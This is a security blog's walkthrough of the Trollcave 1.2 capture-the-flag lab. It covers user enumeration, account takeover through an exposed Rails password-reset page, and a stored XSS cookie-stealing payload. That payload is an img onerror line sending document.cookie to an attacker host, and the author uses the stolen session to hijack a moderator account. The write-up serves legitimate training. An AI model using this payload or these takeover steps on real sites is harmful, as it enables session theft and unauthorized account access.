Innogen security

RECENT BLOG

Posted in Blog post

Trollcave 1:2 Walkthrough Part 2

 
The first part we conducted a very basic enumeration of the host, now we will test and enumerate the web application for flaws.
 

Blog Posts:

 
A good selection of information can be obtained from the blog posts on the main home page:


 

  • Welcome to the Trollcave – Not much here but we can see this is made by user King outlining the initial setup of the site and its purpose, from this it can potentially be noted that user King is the main admin/owner of the site.
  • Password Reset – This post is made by user coderguy, based on the username and the content of the post we can assume this is the main develop / maintainer of the website:
    “so far i’ve implemented a password_resets resource in rails and it’s about 90% working except for the email thing”
    So now we can potentially investigate the password reset mechanism for exploitation.
  • Politics & Religion thread – This post is made by user cooldude89 who is also online according the the online users panel to the right side. At first glance this post may not appear useful, but the OSCP mindset kicks in and by viewing the following remark:
    “I will be monitoring this thread closely”
    It may be this can be used for xss or a cookie stealer?
  • First Post – This post is made by user dave and states that the user is an administrator on the website which could have potential?
  • Dumb ways to die – Made by user Ian and I personally didnt take anything from this.

 

Password_reset:

 
Testing password_reset and searching the source did not show anything up, so turned to Google for an answer on this one:
 
ror password_resets

 

 
Selecting the search result provides some useful information on how the function works and also the following request table:

Based on this we now see the extra parameter that should make this work as /password_resets on its own returns a 404, now testing the url with /new appended allows us to pick a username and reset the password!

 

 

Upon testing this with King, cooldude89, dave etc all failed with the following message:

Based on this I pick on a username from the right hand side xer and the next 3 screenshots show the process where we reset the xer password to a password of our choosing…..

 

 

Now we are logged in as user xer we can enumerate the user panel and look for flaws in the control panel?
 

User Enumeration:

 
Selecting Users link provides us with a list of users with the privilege levels:

 

Sir | Moderator
Q | Moderator
teflon | Moderator
TheDankMan | Regular member
artemus | Regular member
MrPotatoHead | Regular member
kev | Member
notanother | Member
anybodyhome | Member
onlyme | Member
dragon | Admin
dave | Admin
xer | Member
coderguy | Admin
King | Superadmin
Ian | Regular member
cooldude89 | Moderator
 

Uploads:

 
Testing the uploads link proves fruitless and shows an error that this function is disabled:

 

Cookie Stealing:

As the easy route is disabled we look to our notes that we created previously surrounding user “cooldude89” who stated he would be checking the politics post regular and the fact the user has moderator permissions we can potentially escalate and see if we have more movement in the web app….

 
Based on this we fire the following into the comments of the politics post:

<img onerror=”this.src=’http://192.168.96.146/exploit.php?’+document.cookie” src=””></img>

 

Once done we open a terminal and tail our apache2 access logs, it didn’t take long to take user “cooldude89” cookie data.

 

Via Cookies manager plus in firefox we use the stolen session data and become user “cooldude89”  with moderator permissions.

NOTE: the uploads directory was still a no go for the moderators too…
 

Moderator Powers:

 
On looking at the posts again we see a post that is for moderators / admins only! The post states that a moderator now has permissions to promote standard users to moderator level:

 

As we have reset xer password I promote xer in case we lose our session, then continue to look around.

Another post is found that states how the levels are set for users, mods and admins; it appears from the post its purely and integer value assignment that differentiates the users

The next post part 3 will deal with how we escalate our user(s) to admin.

Innogen security

RECENT BLOG

Exploiting Sudo 1.8.27 The following brief is a quick demonstration of the issue faced by cve-2019-14287. This issue is presented when the user is allowed to run a specified command as any user other than the root user account, specified …

17 Oct 2019

SMB LFI Exploitation The following outlines a very short overview of LFI using SMB in form of a crib sheet. Install Samba: apt-get install samba Remove default Samba config: rm -f /etc/samba/smb.conf Create New smb.conf: vi /etc/samba/smb.conf The following config …

13 Oct 2019

Linux reverse shell without python. During a recent application exploit into an interactive shell the typical path to spawn a reverse shell and upgrade it to tty was sought. It was found that the go to technologies such as python, …

19 Sep 2019